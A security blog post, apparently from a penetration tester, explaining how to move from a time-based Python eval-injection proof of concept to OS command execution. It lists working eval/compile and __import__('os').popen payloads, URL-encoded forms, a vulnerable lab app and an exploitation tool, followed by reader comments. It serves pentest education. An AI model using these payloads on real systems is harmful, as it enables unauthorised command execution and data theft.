Exploiting Python Code Injection in Web Applications

A web application vulnerable to Python code injection allows you to send Python code though the application to the Python interpreter on the target server. If you can execute python, you can likely call operating system commands. If you can run operating system commands, you can read/write files that you have access to, and potentially even launch a remote interactive shell (e.g., nc, Metasploit, Empire).

The thing is, when I needed to exploit this on an external penetration test recently, I had a hard time finding information online about how to move from proof of concept (POC) to useful web application exploitation. Together with my colleague Charlie Worrell (@decidedlygray), we were able to turn the Burp POC (sleep for 20 seconds) into a non interactive shell, which is what this post covers.

Python code injection is a subset of server-side code injection, as this vulnerability can occur in many other languages (e.g., Perl and Ruby). In fact, for those of you who are CWE fans like I am, these two CWEs are right on point:

CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

TL;DR

If you (or Burp or another tool) finds a python injection with a payload like this:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))

You can use the following payload to go from a time based POC to OS command injection:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))

And as it turns out, you don't even need the for loop. You can use the global __import__ function:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))

Better yet, now that we have import and popen as one expression, in most cases, you don't even need to use compile at all:

__import__('os').popen('COMMAND').read()

To pass these to the web application, you will have to URL encode some characters. The examples from above are each encoded below to illustrate what they might look like in action:

  • param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29
  • param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29
  • param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29
  • param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29
The rest of the post will dig into the details, share an intentionally vulnerable web app, and at the end of the post I'll demo a tool that Charlie and I wrote that really speeds up exploitation of this vulnerability -- kind of like what sqlmap does for SQLi, but in the infancy stage.

Setting up a Vulnerable Server

I created an intentionally vulnerable application for the purpose of this post, so if you want to exploit this in your lab, you can grab it here. To get it to work, you have to install web.py via pip or easy_install, but that is it. It can run as a stand alone server, or it can be loaded up into Apache with mod_wsgi.

git clone https://github.com/sethsec/PyCodeInjection.git
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py

The Vulnerability

Although you would be hard pressed to find an article online that talks about python eval() without warning that it is unsafe, eval() is the most likely culprit here.  When you have the following two conditions, the vulnerability exists: 
  1. Application accepts user input (e.g., GET/POST param, cookie value)
  2. Application passes that user controlled input to eval in an unsafe way (without sanitization or other protection mechanisms). 
Here is a simplified version of what the vulnerable code could look like:



That said, eval() is only one of the potential culprits here.  A developer can also introduce this vulnerability by unpickling serialized data passed by the user.

Python's exec() is another way you can make your app vulnerable, but as far as I can tell, a developer would have to try even harder to find a reason to exec() web based user input.  That said, I'm sure it happens.

Automated Discovery 

Having a scanner find something I haven't seen before, and then doing the research to move from vanilla POC to something report worthy has been one of the pillars of my offensive security education (along with learning how to find things that scanners can not find). This vulnerability is no different. If you find this in the wild, you will most likely find it with an automated tool, like Burp Suite Pro. In fact, the check Burp uses is something they developed internally, so I'm not sure you would even find this vulnerability without Burp Suite Pro at this point.    

Once you have the vulnerable demo app up and running, you should be able to find the vulnerability with a Burp Suite Pro scan: 



Here are the details showing the payload that Burp used to find this vulnerability:


The reason Burp flags the app as vulnerable, is that after it sent this payload, which told the interpreter to sleep for 20 seconds, the response took 20 seconds to come back. As with any time based vulnerability check, every once in a while there are false positives, usually because the app in general starts responding slowly.

Moving from POC to Targeted Exploitation

While time.sleep is a nice way to confirm the vulnerability, we want to execute OS commands AND receive the output.  To do that, we were successful with os.popen() or subprocess.Popen(), and subprocess.check_output(), and I'm sure there are others.

The Burp Suite Pro payload uses a clever hack (using compile) that is required if you have multiple statements, as eval can only evaluate expressions. There is another way to accomplish this, using global functions (ex: __import__), which is explained here and here.

This payload should work in most cases:

# Example with one expression
__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commas
str("-"*50),__import__('os').popen('COMMAND').read()

If you need to execute a statement, or multiple statements, you will have to use eval/compile:

# Examples with one expression

  • eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))
  • eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))
#Examples with multiple statements, separated by semicolons

  • eval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))
  • eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))

In my testing, some things just did not work with the global __import__ trick above, like using subprocess.Popen.  In that case, just stick with the for loop technique that the Burp team came up with:

  • eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))
  • eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))
  • eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))

If your vulnerable parameter is a GET parameter, you can exploit this easily with just your browser: 


Note: The browsers do most of the required URL encoding for you, but you will have to manually encode semicolon (%3b) and spaces (%20) if they are used, or use the tool we developed which is covered below.

If you are working with a POST parameter (or a cookie value which was the case on my pentest), you'll probably want to use Burp Repeater or something similar. This next series of screenshots shows me using subprocess.check_output() to call pwd, ls -al, whoami, and ping, all in one expression:




So manually URL encoding characters gets old fast, so you will probably find yourself wanting to whip up a python script to send the requests from the command line like Charlie and I did.  Or, if you'd like, you can use ours.

Exploitation Demonstration with PyCodeInjectionShell

You can download PyCodeInjectionShell, and read up on how to use it here: https://github.com/sethsec/PyCodeInjection. PyCodeInjectionShell it is written to feel like sqlmap as much as possible. Our assumption is that anyone who needs to use this tool is probably very familiar with sqlmap.

Here is what it looks like in action, accepting a URL. Note the sqlmap style * designating the payload placement in the URL. This example also uses interactive mode, which lets you continuously enter new commands until you exit:


And here is the same functionality using a request file copy/pasted from burp repeater, with an implanted *, which tells the tool where to inject:



In either example, if you just want to enter one command and exit, just remove the -i.

Feedback, suggestions, questions and bug reports are welcome!

Comments

Anonymous said…
Thanks For sharing sir :)
Kn0wLeDgE said…
This is amazing! thanks a lot my friend!

how we install the burp suite plugin for this?

thanks!
Seth Art said…
Thanks, Kn0wLeDgE.

Charlie and I did talk about creating a specific Burp Extension for this, but never ended up getting to it. To find this with Burp, you will need Burp Suite Pro which gives you the scanner. If you already found the vulnerability, you can exploit it in Burp Suite Free, or you can use the tool from the last screenshots, which you can find here: https://github.com/sethsec/PyCodeInjection
Wireghoul said…
In terms of readability and clarity I recommend using '+' instead of %20 when replacing spaces... Works just as well in SQLi as RCE.
Diego said…
Thanks For sharing, I was looking for.
maq said…
Heyy thanks for providing this nice info.. i found your site in google search.. thanks regards
web consultants in karimnagar
Unknown said…
Good information provided on the types of injection in an easy to understand language and in very concise yet important. I am exploring on os command injection and will wait for more updation on that. thank you
Unknown said…
HI There,

I tried the following and got error

root@kali:~/Downloads/PyCodeInjection-master/VulnApp# python PyCodeInjectionApp.py -u "http://IP/Content/ClientSettings.aspx?SVID=*" -c pwd -i

Error:

Traceback (most recent call last):
File "PyCodeInjectionApp.py", line 123, in
app.run()
File "/usr/local/lib/python2.7/dist-packages/web/application.py", line 313, in run
return wsgi.runwsgi(self.wsgifunc(*middleware))
File "/usr/local/lib/python2.7/dist-packages/web/wsgi.py", line 55, in runwsgi
server_addr = validip(listget(sys.argv, 1, ''))
File "/usr/local/lib/python2.7/dist-packages/web/net.py", line 120, in validip
raise ValueError, ':'.join(ip) + ' is not a valid IP address/port'
ValueError: -u is not a valid IP address/port
subhash said…
same problem i am facing
Traceback (most recent call last):
File "PyCodeInjectionApp.py", line 123, in
app.run()
File "/home/ubuntu/.local/lib/python2.7/site-packages/web/application.py", line 313, in run
return wsgi.runwsgi(self.wsgifunc(*middleware))
File "/home/ubuntu/.local/lib/python2.7/site-packages/web/wsgi.py", line 55, in runwsgi
server_addr = validip(listget(sys.argv, 1, ''))
File "/home/ubuntu/.local/lib/python2.7/site-packages/web/net.py", line 120, in validip
raise ValueError, ':'.join(ip) + ' is not a valid IP address/port'
ValueError: -u is not a valid IP address/port
White Monkey said…
Excelente post. Thanks

Popular posts from this blog

Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

Pentest Home Lab - 0x3 - Kerberoasting: Creating SPNs so you can roast them